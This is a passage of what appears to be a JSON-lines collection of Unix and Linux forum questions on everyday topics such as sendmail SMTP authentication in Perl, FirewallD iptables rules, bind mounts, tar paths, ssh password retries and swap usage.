sendmail and openwebmail on RHEL workstation 6.3, I can send email through webmail(cgi-bin/openwebmail/openwebmail.pl), but failed to interact with sendmail server in Perl script as following: use Net::SMTP; my $smtpserver = 'mail.server.com'; my $smtpport = 25; my $smtpuser = 'test'; my $smtppassword = 'test'; my $smtp = Net::SMTP->new($smtpserver, Port=>$smtpport, Timeout => 10, Debug => 1); die \"Could not connect to server!\\n\" unless $smtp; $smtp->auth($smtpuser, $smtppassword); $smtp->mail(\"Ann\"); $smtp->to(\"hello\\@world.com\"); $smtp->data(); $smtp->datasend(\"To: hello\\@world.com\\n\"); $smtp->quit; While running this Perl script on Windows 7, the output is below: Net::SMTP>>> Net::SMTP(2.31) Net::SMTP>>> Net::Cmd(2.29) Net::SMTP>>> Exporter(5.64_01) Net::SMTP>>> IO::Socket::INET(1.31) Net::SMTP>>> IO::Socket(1.31) Net::SMTP>>> IO::Handle(1.28) Net::SMTP=GLOB(0x2be1e80)<<< 220 mail.server.com ESMTP Sendmail 8.14.4/8.14.4 ; Fri, 11 Apr 2014 19:48:30 +0800 Net::SMTP=GLOB(0x2be1e80)>>> EHLO localhost.localdomain Net::SMTP=GLOB(0x2be1e80)<<< 250-mail.server.com Hello [9.110.10.236], please d to meet you Net::SMTP=GLOB(0x2be1e80)<<< 250-ENHANCEDSTATUSCODES Net::SMTP=GLOB(0x2be1e80)<<< 250-PIPELINING Net::SMTP=GLOB(0x2be1e80)<<< 250-8BITMIME Net::SMTP=GLOB(0x2be1e80)<<< 250-SIZE Net::SMTP=GLOB(0x2be1e80)<<< 250-DSN Net::SMTP=GLOB(0x2be1e80)<<< 250-ETRN Net::SMTP=GLOB(0x2be1e80)<<< 250-AUTH DIGEST-MD5 PLAIN Net::SMTP=GLOB(0x2be1e80)<<< 250-DELIVERBY Net::SMTP=GLOB(0x2be1e80)<<< 250 HELP Net::SMTP=GLOB(0x2be1e80)>>> AUTH DIGEST-MD5 Net::SMTP=GLOB(0x2be1e80)<<< 334 bm9u... 3VnV5VXB6MlBJeHY5TVE9IixyZWFsbT0iaHV... Net::SMTP=GLOB(0x2be1e80)>>> YXV0a... Net::SMTP=GLOB(0x2be1e80)<<< 334 cnNwYXV0axODVhOA== Net::SMTP=GLOB(0x2be1e80)>>> Net::SMTP=GLOB(0x2be1e80)<<< 235 2.0.0 OK Authenticated Net::SMTP=GLOB(0x2be1e80)>>> MAIL FROM: Net::SMTP: Unexpected EOF on command channel at E:\\tool\\smtp.pl line 35 It showed that client got authenticated but didn't received any data after invoking \"$smtp->mail()\", it seems server closed the connection at this point. On the server side, there were some error messages written into /var/log/maillog: sendmail[16761]: AUTH=server, relay=[9.110.10.6], authid=test, mech=DIGEST-MD5, bits=128 sendmail[16761]: AUTH: sasl_decode error=-1 sendmail[16761]: s3BBmUQj016761: [9.110.10.236] did not issue MAIL/EXPN/VRFY/ETRN during connection to MTA maillog showed authentication method is DIGEST-MD5, but it's failed to invoke sasl_decode. Anyone can give any clue for this problem? Thanks a lot. PS: my sendmail.mc is pasted at github"} {"_id": "87291", "title": "Emacs - Strange Whitespace", "text": "(I posted this same general question here on StackOverflow thinking it had something to do with my emacs configuration, but after following a comment there, I think it is exclusive to `urxvt`) My problem is that, under seemingly random circumstances, the point will be hidden by a large block of the same color as the point. What is interesting about it is that it does behave as the point/console cursor does when I unfocus the terminal window, in that the normally fully-opaque box becomes hollow. So, essentially, the point will suddenly appear wider than normal. I use emacs in `urxvt` only, and I can currently replicate the behavior by pressing space around 5-6 times, at which point the point appears to be 2 wide. This point-widening does not occur when I am in `tmux` or use `lxterminal`"} {"_id": "120776", "title": "Adding timestamp before each STDOUT line inside perlscript", "text": "In a perl script, I am capturing all the `STDOUT` and `STDERR` using the below code: open STDOUT, '>>', \"$log_file\" or die \"Can't redirect STDOUT: $!\"; open STDERR, \">&STDOUT\" or die \"Can't add to STDOUT: $!\"; main(); Here I am logging all those are generated from `main()` but how can I add a timestamp infront of each line of `STDOUT` ?"} {"_id": "44221", "title": "sudo add-apt-repository - command not found (GParted Live CD)", "text": "I am trying to burn a DVD using GParted (not a DVD _of GParted_ ). I see that GParted uses a Debian distro (Wheezy). I am trying to install dvd+rw-tools: sudo apt-get install dvd+rw-tools > Package dvd+rw-tools is not availble, but is referred to by another package. > This may mean that the package is missing, has been obsoleted, or is only > availble from another source Fine. Then I try to add another repository: sudo apt-add repository ppa:ferramroberto/extra > sudo: add-apt-repository: command not found Then, I try to install `python-software-properties`: sudo apt-get install python-software-properties And get > Unable to locate package python-software-properties How can I make this work?"} {"_id": "146451", "title": "Arch Linux RPI: How accurate is the time on the RPi in Linux?", "text": "Currently I'm working on a application on my RPi which will be monitoring a set of GPIOs in real-time where the exact time when the GPIO turns HIGH is crucial for my application. And I need to know how the time is being dealt with on the RPi with the Arch Linux OS, is it synchronized towards a UDP NTP Time Server? If that's the case is it being updated continuously in a background thread/deamon like other Linux stuff? Or is perhaps updated each time a call to get the time is made? Because two events might occur on two (or more) GPIOs simultaneously I need to implement the fastest solution possible to get the real-time functionality. The actual date is not important when the specific event happen, instead the exact time relative to the other events is. ( **i.e** the data recorded will be shown in a graph where the spacing between the events should be as exact as possible.) So the question could be broken down to: How is time handled on the RPi with Arch Linux, and how accurate is it in a multi-thread environment? Thanks in advance."} {"_id": "44222", "title": "Linux and Windows compatible home drive", "text": "I want to have a singular home drive for both my Win7 and Arch partitions, so I initially set the partition to NTFS, as so: 5gb / 20gb C: 475gb /home + D: which worked up until I started developing in SDL (which doesn't like the NTFS partition for permission reasons) so now I'm wondering if there's another format I can use in both windows and linux that isn't fat32 (I have some big (4+Gb) files for game dev)"} {"_id": "44225", "title": "Convert mysql count(*) to int in bash?", "text": "I'd like to execute this and check if count is 0, 1 or > 1 in bash. mysql -e \"select count(*) from mydb.mydb;\" The output is: +----------+ | count(*) | +----------+ | 0 | +----------+ I don't know how to parse this. Also this will be used in a cron job, so I can't have any output."} {"_id": "134615", "title": "using inotify to monitor access to a file", "text": "I would like to have a trigger and when a particular file is accessed by some process, I would like to be notified (i.e. a script should be run). If I understand correctly, this could be achieved with `inotify`. If I have a file `/foo/bar.txt` how would I set up `inotify` to monitor that file? I am using Debian Wheezy with kernel 3.12 (my kernel has inotify support)"} {"_id": "146456", "title": "Maintain Xserver applications running even after closing the remote conecction", "text": "We have a Ubuntu server (mainly a compute server), which does not have X-server installed on it. One can use something like Byobu or Screen to have programs running on the server even after the SSH connection is closed. However when one runs GUI based applications (using ssh -X), the application gets killed when the SSH connection is closed. Is there a work around this where the GUI based application (like say eclipse) keeps running even when the SSH connection is closed."} {"_id": "44226", "title": "bc doesn't support log and factorial calculation?", "text": "Is there any other command line calculator that supports `log`, `n!` calculations ? At least `bc` can't do that, it told me parse error It's best if I could use script, e.g `echo '5!' | program`"} {"_id": "146458", "title": "How to find Debian packages that would free up the most space", "text": "Say I have a Debian machine where I would like to free up space on '/' by removing useless packages. To find good candidates of packages to review, I would like to focus my attention on the largest ones first. It seems that the standard solution to do this is to list all installed packages by their installed size. However, this solution has a lot of drawbacks, because it ignores dependencies and ignores whether a package was automatically or manually installed: * If a package is large but many manually installed packages depend on it, then maybe it is not a good candidate to consider for removal (e.g., removing libicu52 is a bad idea even though it's large) * If a package depends on another package, then removing the second one will also save up the space obtained by removing the first one (e.g., removing libwine also removes wine) * If a package A depends on another package B and a third package C was only automatically installed as a dependency to B, then removing A will remove B and C will be auto-removed, which should be accounted for (e.g., removing wesnoth-1.10-data removes wesnoth-1.10, which means that wesnoth-1.10-music would be removed). It seems that a right tool for this job should only propose manually installed packages for removal, and should sort them by the space that would be reclaimed by removing them and then running autoremove (removing automatically installed packages that are no longer necessary). Of course you could simulate this by a variant of this solution, but it is both slow and ugly. Hence my question: is there a standard tool that looks at the dependency graph of packages and computes this information? (I am considering to write a script for this, but I'd like to make sure it doesn't exist yet.)"} {"_id": "146459", "title": "How to view files hidden by a mount on Debian 6", "text": "I have been trying for a while to view files, hidden by a mount on my device sporting Debian 6, to no avail, and being new to Linux, I am compelled to ask the question: How do you view files hidden by a mount on Debian 6? I have gone over the many duplicates I came across as I was drafting this question the first 1 or 10 times and the following answers did not help in my case: 1. Answer to \"Access to original contents of mount point\" 2. Answer to \"Where do the files go if you mount a drive to a folder that already contains files?\" 3. Answer to \"What happened to the old files if we mount a drive to the directory? [duplicate]\" I also found this, but it was a little intimidating to try that with my limited knowledge of what I am even doing. I also asked Linux users around me, who all (both) say that it's impossible to see my files without `umount`ing. So just to make things clear, this is what I am working with: /tmp # mkdir FOO /tmp # cd FOO/ /tmp/FOO # touch abc /tmp/FOO # cd ~ # mount /dev/sda1 /tmp/FOO/ ~ # ls /tmp/FOO/ bbb ~ # cd /tmp/ /tmp # mkdir BAR /tmp # cd ~ # mount --bind / /tmp/BAR ~ # cd /tmp/BAR/ /tmp/BAR # ls bin etc lib media proc sbin sys usr dev home linuxrc mnt root selinux tmp var /tmp/BAR # cd tmp/ /tmp/BAR/tmp # ls /tmp/BAR/tmp # @John1024: ~ # mount | grep /tmp/ /dev/sda1 on /tmp/FOO type vfat (rw,relatime,fmask=0022,dmask=0022,codepage=cp932,iocharset=cp932,errors=remount-ro) /dev/root on /tmp/BAR type jffs2 (ro,relatime) What and to where should I `mount --bind` to see the files that were in `/tmp/somefolder`? Could the functionality of the solutions linked above be related to what build of Debian I am using? Edit: For clarification, these are some of the commands I tried: ~ # mount --bind /tmp/somefolder /tmp/anotherfolder ~ # mount --bind / /tmp/anotherfolder ~ # mount --bind /dev/sda1 /tmp/anotherfolder"} {"_id": "123940", "title": "Do I require a file system when I do not want to store any data", "text": "I asked a question here Is it mandatory to have a file system One of the comments is : > how a system without file system would work on linux as even a printer or > ethernet card is considered as a file ? What is your goal here ? ...Kiwy Feb > 24 at 14:18 Now here is a log message when booting linux without a file system (which is hanging at the end): [Tue Apr 08 20:07:18.298 2014] [Tue Apr 08 20:07:18.298 2014] [Tue Apr 08 20:07:18.298 2014] U-Boot 2013.07 (Apr 08 2014 - 14:27:03) [Tue Apr 08 20:07:18.298 2014] [Tue Apr 08 20:07:18.298 2014] Memory: ECC disabled [Tue Apr 08 20:07:18.298 2014] DRAM: 1 GiB [Tue Apr 08 20:07:18.308 2014] SF: Detected N25Q128A with page size 64 KiB, total 16 MiB [Tue Apr 08 20:07:18.341 2014] *** Warning - bad CRC, using default environment [Tue Apr 08 20:07:18.341 2014] [Tue Apr 08 20:07:18.341 2014] In: serial [Tue Apr 08 20:07:18.341 2014] Out: serial [Tue Apr 08 20:07:18.341 2014] Err: serial [Tue Apr 08 20:07:18.341 2014] U-BOOT for Xilinx-ZC702-14.7 [Tue Apr 08 20:07:18.341 2014] [Tue Apr 08 20:07:18.341 2014] [Tue Apr 08 20:07:18.341 2014] SF: Detected N25Q128A with page size 64 KiB, total 16 MiB [Tue Apr 08 20:07:18.697 2014] Linux [Tue Apr 08 20:07:18.697 2014] Load Address: 0x00008000 [Tue Apr 08 20:07:18.697 2014] Entry Point: 0x00008000 [Tue Apr 08 20:07:18.697 2014] Verifying Hash Integrity ... OK [Tue Apr 08 20:07:18.697 2014] ## Loading fdt from FIT Image at 01000000 ... [Tue Apr 08 20:07:18.697 2014] Using 'conf@1' configuration [Tue Apr 08 20:07:18.697 2014] Trying 'fdt@1' fdt subimage [Tue Apr 08 20:07:18.697 2014] Description: Flattened Device Tree blob [Tue Apr 08 20:07:18.697 2014] Type: Flat Device Tree [Tue Apr 08 20:07:18.697 2014] Compression: uncompressed [Tue Apr 08 20:07:18.697 2014] Data Start: 0x0111d344 [Tue Apr 08 20:07:18.697 2014] Data Size: 11179 Bytes = 10.9 KiB [Tue Apr 08 20:07:18.697 2014] Architecture: ARM [Tue Apr 08 20:07:18.697 2014] Hash algo: crc32 [Tue Apr 08 20:07:18.697 2014] Hash value: a7a92b47 [Tue Apr 08 20:07:18.697 2014] Hash algo: sha1sha1+ OK [Tue Apr 08 20:07:18.702 2014] Booting using the fdt blob at 0x111d344 [Tue Apr 08 20:07:18.702 2014] UncomprOK [Tue Apr 08 20:07:18.702 2014] Loading Device Tree to 07ffa000, end 07fffbaa ... OK [Tue Apr 08 20:07:18.702 2014] [Tue Apr 08 20:07:18.702 2014] Starting kernel ... [Tue Apr 08 20:07:18.702 2014] [Tue Apr 08 20:07:19.453 2014] u @c0a7b000 s5568 r8192 d14912 u32768 [Tue Apr 08 20:07:19.453 2014] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 260096 [Tue Apr 08 20:07:19.453 2014] Kernel command line: root=mtd:jffs2 rw rootfstype=jffs2 console=ttyPS0,115200 [Tue Apr 08 20:07:19.453 2014] PID hash table entries: 4096 (order: 2, 16384 bytes) [Tue Apr 08 20:07:19.453 2014] Dentry cache hash table entries: 131072 (order: 7, 524288 bytes) [Tue Apr 08 20:07:19.453 2014] Inode-cache hash table entries: 65536 (order: 6, 262144 bytes) [Tue Apr 08 20:07:19.453 2014] __ex_table already sorted, skipping sort [Tue Apr 08 20:07:19.453 2014] Memory: 1024MB = 1024MB total [Tue Apr 08 20:07:19.453 2014] Memory: 1036960k/1036960k available, 11616k reserved, 270339 16 [Tue Apr 08 20:07:19.625 2014] I reach build/linux/kernel/xlnx-3.8/source/net/socket.c: [Tue Apr 08 20:07:19.625 2014] DMA: preallocated 256 KiB pool for atomic coherent allocations [Tue Apr 08 20:07:19.625 2014] xgpiops e000a000.ps7-gpio: gpio at 0xe000a000 mapped to 0xf004e000 [Tue Apr 08 20:07:19.625 2014] GPIO IRQ not connected [Tue Apr 08 20:07:19.625 2014] XGpio: /amba@0/gpio@41220000: registered, base is 255 [Tue Apr 08 20:07:19.625 2014] GPIO IRQ not connected [Tue Apr 08 20:07:19.625 2014] XGpio: /amba@0/gpio@41200000: registered, base is 251 [Tue Apr 08 20:07:19.625 2014] usbcore: registered new interface driver usbfs [Tue Apr 08 20:07:19.625 2014] usbcore: registered new interface driver hub [Tue Apr 08 20:07:19.625 2014] usbcore: registered new device driver usb [Tue Apr 08 20:07:19.625 2014] Switching to clocksoutyPS0 at MMIO 0xe0001000 (irq = 82) is a xuartps [Tue Apr 08 20:07:19.629 2014] console [ttyPSxusbps-ehci xusbps-ehci.0: irq 53, io mem 0x00000000 [Tue Apr 08 20:07:19.670 2014] xusbps-ehci xusbps-ehci.0: USB 2.0 started, EHCI 1.00 [Tue Apr 08 20:07:19.675 2014] hub 1-0:1.0: USB hub found [Tue Apr 08 20:07:19.675 2014] hub 1-0:1.0: 1 port detected [Tue Apr 08 20:07:19.681 2014] xi2cps e0004000.ps7-i2c: 400 kHz mmio e0004000 irq 57 [Tue Apr 08 20:07:19.686 2014] xadcps f8007100.ps7-xadc: enabled: yes reference: external [Tue Apr 08 20:07:19.709 2014] xwdtps f8005000.ps7-wdt: Xilinx Watchdog Timer at f00ea000 with timeout 10s [Tue Apr 08 20:07:19.709 2014] sdhci: Secure Digital Host Controller Interface driver [Tue Apr 08 20:07:19.709 2014] sdhci: Copyright(c) Pierre Ossman [Tue Apr 08 20:07:19.709 2014] sdhci-pltfm: SDHCI platform and OF driver helper [Tue Apr 08 20:07:19.729 2014] usbcore: registered new interface driver usbhid [Tue Apr 08 20:07:19.729 2014] usbhid: USB HID core driver [Tue Apr 08 20:07:19.729 2014] I am at build/linux/kernel/xlnx-3.8/source/drivers/hid/usbhid/hid-core.c [Tue Apr 08 20:07:19.729 2014] VFP support v0.3: implementor 41 architecture 3 part 30 variant 9 rev 4 [Tue Apr 08 20:07:19.781 2014] MTD: MTD device with name \"jffs2\" not found. [Tue Apr 08 20:07:19.781 2014] List of all partitions: [Tue Apr 08 20:07:19.781 2014] No filesystem could mount root, tried: jffs2 [Tue Apr 08 20:07:19.781 2014] Kernel panic - not syncing: VFS: Unable to mount root fs on mtd:jffs2 [Tue Apr 08 20:07:19.781 2014] CPU1: stopping [Tue Apr 08 20:07:19.781 2014] Backtrace: [Tue Apr 08 20:07:19.781 2014] Function entered at [] from [] [Tue Apr 08 20:07:19.781 2014] r6:c0246418 r5:00000000 r4:00000001 r3:60000193 [Tue Apr 08 20:07:19.781 2014] Function entered at [] from [] [Tue Apr 08 20:07:19.781 2014] Function entered at [] from [] [Tue Apr 08 20:07:19.781 2014] r4:c0247ef4 r3:c0011f78 [Tue Apr 08 20:07:19.781 2014] Function entered at [] from [] [Tue Apr 08 20:07:19.781 2014] r5:ef07bf68 r4:f8f00100 [Tue Apr 08 20:07:19.824 2014] Function entered at [] from [] [Tue Apr 08 20:07:19.824 2014] Exception stack(0xef07bf68 to 0xef07bfb0) [Tue Apr 08 20:07:19.824 2014] bf60: c0a838d0 00000000 00000003 00000000 ef07a000 c01cd528 [Tue Apr 08 20:07:19.824 2014] bf80: ef07a000 c025c418 0000406a 413fc090 00000000 ef07bfbc ef07bfc0 ef07bfb0 [Tue Apr 08 20:07:19.824 2014] bfa0: c000e94c c000e950 60000113 ffffffff [Tue Apr 08 20:07:19.824 2014] r6:ffffffff r5:60000113 r4:c000e950 r3:c000e94c [Tue Apr 08 20:07:19.824 2014] Function entered at [] from [] [Tue Apr 08 20:07:19.824 2014] Function entered at [] from [] [Tue Apr 08 20:07:19.824 2014] r5:00000001 r4:c024cf68 [Tue Apr 08 20:07:19.824 2014] Function entered at [] from [<001c37c8>] [Tue Apr 08 20:07:19.844 2014] r6:10c03c7d r5:00000015 r4:2f06406a r3:c01c37b0 [Tue Apr 08 20:07:19.844 2014] MTD: MTD device with name \"jffs2\" not found. [Tue Apr 08 20:07:19.844 2014] List of all partitions: [Tue Apr 08 20:07:19.844 2014] No filesystem could mount root, tried: jffs2 [Tue Apr 08 20:07:19.844 2014] Kernel panic - not syncing: VFS: Unable to mount root fs on mtd: I am booting from flash. Now from the log it is very clear that many of the drivers are already loaded even though file system loading is failed (because I intentionally did not put the file system rootfs.jffs2 in flash ). Now referring to the comment above, if everything is file in linux, how come drivers are successfully loaded? You can see USB,GPIO, SD everything is coming before it asks for file system (and failed). So is it technically correct to say that > linux MUST have a file system **Some background** What I am trying to achieve is to have linux running on a system where a control application will be running. The application just captures some data and send it to some slaves. There is not question of storing data AT ALL. So would like to completely get rid of file system. As per my understanding file system is required for storing data and since I willnot storing any data so why have file system and increase the resource usage ? **Update** _Although I have mentioned this in **background** , but to be specific the sending of the data would take place using USB or Ethernet, so it is natural to have corresponding drivers._"} {"_id": "123946", "title": "Shell script fails to run on startup", "text": "I want an executable program to run on startup. For this reason, I created a shell script: `/etc/init.d/server`. Then I run `chmod +x name_of_script` and `update-rc.d server defaults`. _server (script):_ #!/bin/sh cd /home/root/ ./Server_msg Server_msg prints the messages from a client. Messages are received on static IP address 192.168.1.200. _**Note** : The connection is wireless: Static IP address 192.168.1.200 gets assigned to the device, by a script running also on startup, which loads the Wi-Fi driver's adapter._ _**The problem:_** When I added script _server_ to run on startup as well, system is unable to run both scripts. Any ideas?"} {"_id": "36172", "title": "POSIX conformance: NetBSD 5.1 gettimeofday declaration", "text": "I'm compiling some code which requests POSIX 1003.1 1993 conformance via `-D_POSIX_C_SOURCE=2`. The code includes the header `` and wants to call `gettimeofday`, but on NetBSD 5.1 there is a compiler warning about that function not being declared. Looking into NetBSD's header, we see that the declaration of `gettimeofday` is wrapped with a test for `_POSIX_C_SOURCE` being at least `200112`. Was `gettimeofday` really only introduced to POSIX in 2001? That hardly seems right. In 1993, there was already `clock_gettime` with nanoseconds and different clock types, and `getttimeofday` is ancient 4.2 BSD stuff. In the GNU C library's ``, `gettimeofday` is not wrapped by anything at all. Which is is right: NetBSD header, or my code relying on `_POSIX_C_SOURCE=2` to reveal the declaration of `gettimeofday` (and glibc, for providing it unconditionally)?"} {"_id": "108849", "title": "Why does grep change the length of output lines?", "text": "I often use `dpkg` or `aptitude` combined with `grep` when I want to list certain packages available or installed on my system, but I noticed that when I add `| grep`, the output lines look a little bit different. Here's a pure `dpkg` output, the first command was typed when the terminal was smaller, the second one when the terminal was maximized: ![screen](http://i.stack.imgur.com/SqvOc.png) As you can see, the output differs depending on the size of the window -- the spaces are reduced in the case of a smaller one. Now, what happens when we add `| grep`: ![screen](http://i.stack.imgur.com/PbOCY.png) A part of the first output was dropped to the second line. But when I maximised the terminal and typed the command once more, the line is in one piece. Moreover, the columns have the same fixed size (the same spaces between them). This is an `aptitude` output: ![screen](http://i.stack.imgur.com/tHJ2h.png) Both commands were typed in the maximised window, but the `grep` line has narrower columns, and some text of the third column was cut off. Why does it happen? Is there a way to stop `grep` from resizing the lines? I don't know how to add an image without changing its parameters, I hope you see what I'm talking about."} {"_id": "108848", "title": "Understanding the iptables rules created by FirewallD", "text": "I am having a hard time trying to figure out what the iptables rules generated by FirewallD say. Focusing on the \"public\" input zone, I have the following rules: *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [123:456] :INPUT_ZONES - [0:0] :INPUT_ZONES_SOURCE - [0:0] :INPUT_direct - [0:0] :IN_public - [0:0] :IN_public_allow - [0:0] :IN_public_deny - [0:0] :IN_public_log - [0:0] :OUTPUT_direct - [0:0] -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT -A INPUT -i lo -j ACCEPT -A INPUT -j INPUT_direct -A INPUT -j INPUT_ZONES_SOURCE -A INPUT -j INPUT_ZONES -A INPUT -p icmp -j ACCEPT -A INPUT -j REJECT --reject-with icmp-host-prohibited -A OUTPUT -j OUTPUT_direct -A INPUT_ZONES -i wlan0 -j IN_public -A INPUT_ZONES -j IN_public -A IN_public -j IN_public_log -A IN_public -j IN_public_deny -A IN_public -j IN_public_allow -A IN_public_allow -p tcp -m tcp --dport 22 -m conntrack --ctstate NEW -j ACCEPT -A IN_public_allow -d 224.0.0.251/32 -p udp -m udp --dport 5353 -m conntrack --ctstate NEW -j ACCEPT * What does the `-` means in the custom chains `INPUT_ZONES` and `INPUT_ZONES_SOURCE`? * What happens when the rule jumps to `IN_public_log`? * Why is there no `DROP` policy at all?"} {"_id": "89949", "title": "How to disable the try again password in ssh command", "text": "I want the ssh command to only allow one chance in typing the password, if the password was wrong at the first time the ssh will return Permission denied (publickey......). Is there a flag that tells the ssh to request only once the password? Instead of: [nir@dhcppc4 ~]$ ssh pokemon@192.168.1.103 pokemon@192.168.1.103's password: Permission denied, please try again. pokemon@192.168.1.103's password: Permission denied, please try again. pokemon@192.168.1.103's password: Permission denied (publickey.....). I want: [nir@dhcppc4 ~]$ ssh pokemon@192.168.1.103 pokemon@192.168.1.103's password: Permission denied (publickey.....). The solution must be on the client side (e.g. some flag to the ssh command or using pipeline), I cant touch `sshd_config`, or any other system config file. Because -in general- I build 3rd party software (so I can;t generate keys nor config system files) that access the servers in the LAN, the passwords are saved in the DB (therefor doesnt need second attempt). And in my code if I'll be able to assume that I only have one attempt to `ssh`/`scp` it will simplify the relevant code."} {"_id": "33528", "title": "setxkbmap for macbook pro (US)", "text": "I recently installed awesome on my ubuntu oneiric, a nice window manager. This doesn't seem to inherit the keyboard settings that were set in the Unity settings. Now, the problem is, I can't seem to find the correct keyboard layout to set (using setxkbmap). The control panel in Unity just states \"US\", bet with setxkbmap -layout us some keys don't work correctly on my macbook pro 8,2. Does anyone here know the correct settings?"} {"_id": "33529", "title": "Is there a way to integrate the unix \"man pages\" into OSX's Dictionary app?", "text": "I was thinking it would be cool to be able to look things up in the man pages the same way one looks up words with the \"Dictionary\" app. Is there a way to add the man pages that OSX supplies into the Dictionary app so when you right click on a \"word\" (or in this case, a unix function/keyword/etc.), and click \"Look Up in Dictionary\", it can search for the word in the man pages too and integrate the search results into the Dictionary window? So when the window pops up, the tabs across the top would be \"All\", \"Dictionary\", \"Thesaurus\", \"Apple\", \"Wikipedia\", \"Man Pages\". Or is this too wishful of thinking?"} {"_id": "108841", "title": "openBSD w/ KDE 3.5 - no text in menus or any gui's", "text": "I just installed KDE 3.5 on my new openBSD 5.4 i386 box. At the moment I don't know that much about openBSD or Unix. For that matter, this is my learning- box. I installed KDE from a mirror, and when it finished it said something about \"You may wish to update your font path for /usr/local/share/ghostscript/fonts\". Of course, not knowing what this is I proceed forth into KDE. As soon as it runs I notice that there's no text in the drop-down menus where things like different languages should be. I proceed until I reach the desktop and notice that there's no text in any of the menus for anything... What am I doing wrong here? *** Edit *** After messing around with the GUI elements of KDE for a while I found something interesting: If I have a window open (let's say Control Center) and none of the text shows up in the left-hand pane (like Appearance, Desktop, and Internet & Network) if I drag the window a bit the text will appear... This trick does not work for the little KDE start button on the taskbar though (since I can't move it around). I tried changing the font to something else, but it has the same effect... The plot thickens"} {"_id": "140348", "title": "What does \"tail -f \" do?", "text": "I don't understand the function of the option `-f` added to the `tail` command. I know that `tail` views the \"last\" part of a file. The manual says that > `-f` outputs appended data as the file grows But I don't really understand what that means. I know the meaning of each word in the previous quotation, but I don't understand the meaning of the whole sentence."} {"_id": "74713", "title": "How frequently is the proc file system updated on Linux?", "text": "How frequently is the `proc` file system updated on Linux? Is it 20 milliseconds (time quantum)?"} {"_id": "154999", "title": "Reboot shortcut", "text": "I need to haved a shortcut on my desktop to a URL which reboots my debian server and then says \"reboot successfull\" in the browser, if that was the case. I do not want a putty reboot shortcut or something, I've thought about CGI but what do you recommend?"} {"_id": "56720", "title": "Extract name of file without extension in shell script", "text": "> **Possible Duplicate:** > Best way to remove file extension from a string? > How to rename multiple files by removing the extension? I have a metric boatload of .txt files I'd like to load into a database. The tables have the same name as the .txt files, but without the extension. So I'd like to execute the command for f in *.txt; do mysql -u root -p -e \"LOAD DATA LOCAL INFILE '$f' INTO TABLE $f\" -D rn4; done However, the last `$f` is giving me headaches as I want it to only use the name, not the extension. So for the file `piRNA.txt` the command would look like mysql -u root -p -e \"LOAD DATA LOCAL INFILE 'piRNA.txt' INTO TABLE piRNA\" -D rn4 How do I do this? To make the answer useful for others, please do not just give me the command, but please write a line or two about how to extract the name in the general case."} {"_id": "25166", "title": "getting file name from the input path to the file in shell scripts", "text": "> **Possible Duplicate:** > Best way to remove file extension from a string? Say that I have a script called `script.sh` In the shell I type script.sh ../folder/file.py and in that file I know `echo $1` will output `../folder/file.py` But is there anyway of getting just the filename without the extension... `file` only?"} {"_id": "34549", "title": "How to rename multiple files by removing the extension?", "text": "I have a number of tiff files named: sw.001.tif sw.002.tif ... and I want to remove the `.tif` at the end of each of the files. How can I use the `rename` command to do this?"} {"_id": "18764", "title": "Which to choose - BSD or Unix-style commands where available?", "text": "Commands like `ps` come with a lot of parameters, especially because they give the use an option to choose between Unix and BSD style flags. I hope you get my point here. So, when there's such an option available, which should I choose for maximum compatibility across all linux systems? (max. compatibility is one of the priorities for instance) I know that Unix style is quite obvious, but BSD commands for some reason include more readable information (column titles for example, CPU column etc). Of course, please correct me if I am wrong, but that's what I felt."} {"_id": "108847", "title": "What is the difference between -j DROP and -j STEAL?", "text": "I often see that people set `STEAL` target in iptables rules. It's possible to get this target by installing (on debian) `xtables-addons-common` and `xtables-addons-dkms`. I was curious why people prefer `STEAL` over `DROP`, so I checked the manual, but there's only the following info: STEAL Like the DROP target, but does not throw an error like DROP when used in the OUTPUT chain. Does anyone know what error? For example, we could take the two following rules: -A OUTPUT --protocol tcp --match multiport ! --dports 80,443 --match set --match-set bt_level1 dst --jump STEAL and: -A OUTPUT --protocol tcp --match multiport ! --dports 80,443 --match set --match-set bt_level1 dst --jump DROP What is the difference between them?"} {"_id": "33523", "title": "Reinstall Debian", "text": "I have a Debian based server but I don't have physical access to it and it doesn't have a DVD-drive or similar. I only have root access. Is it possible to format and reinstall Debian just by using the root account? I was thinking of solutions like installing to a separate partition and after install format the current partition or perhaps using VMWare and always run it as a VM although this would impede performance. This is because my Debian server is currently in my home country(at my parents) while I moved to another country. Do you think perhaps I should dump the server altogether and go for a hosted solution? I normally would prefer to keep my server because hosted solutions normally cost you more than having your own server and paying only for electricity."} {"_id": "41543", "title": "I want to tar X directory not including its parents", "text": "tar cvf /var/lib/backup/sample.tar /home/user/.project However, when I extract, I get its parents as well /backup/ - /home/ - /user/ - .project/ This tar commands does it job because it doesn't include anything else in its parents (other folders under `user` for example). I want to do this programmatically, so changing the current working directory into `/home/user/` is not really an option. Is it possible to do that?"} {"_id": "87126", "title": "copying files from one directory to another", "text": "I have to copy a set of files from one folder to another folder and I'm using the following command: cp -rf `head -n 100 /home/tmp/abc.txt` /home/tmp/test/files the file contents in `abc.txt` is like: ./folder1/example.tar.gz ./folder2/example.tar.gz ./folder3/example.tar.gz But while executing the above `cp` command I'm getting: cp: will not overwrite just-created `/home/tmp/test/files/example.tar.gz' with `./folder3 /example.tar.gz' cp: will not overwrite just-created `/home/tmp/test/files/example.tar.gz' with `./folder1/example.tar.gz' I can understand that because the name of the .gz files are the same that are showing in the error. What I want to do is to have the same folder structure inside `/home/tmp/test/files` as listed in `abc.txt`, like: /home/tmp/test/files/folder1/example.tar.gz /home/tmp/test/files/folder2/example.tar.gz /home/tmp/test/files/folder3/example.tar.gz But I'm getting only one `example.tar.gz` inside files folder after executing the above `cp` command. So what is the way to get what I mentioned above?"} {"_id": "41547", "title": "Linux running slow with 0 swap left", "text": "Our Linux server is responding very slowly. `top` doesn't show any excessive CPU usage. I noticed that even though there's about 5GB of free memory, the system is using all of swap with no free swap left. Could this be reason for system running slow? Is there any solution other than reducing the number of processes? Secondly, even though there is free memory available, why is Linux swapping already? I thought swap is used only when there\u2019s not actual memory left. free -m total used free shared buffers cached Mem: 32045 26218 5826 0 127 123 -/+ buffers/cache: 25967 6077 Swap: 16387 16387 0 Update: * swapiness is at default level: 60 * I don't think it's a numa system * I see a couple of java processes running with 8GB heap: `-Xms8000m -Xmx8000m` Seems nuts on first look, but possibly someone had reasons for doing this. I think this is what's eating up most of swap, but I need to further investigate how the java heap affects Linux swap and memory/performance in general. Any pointers on impact of above java heap config on 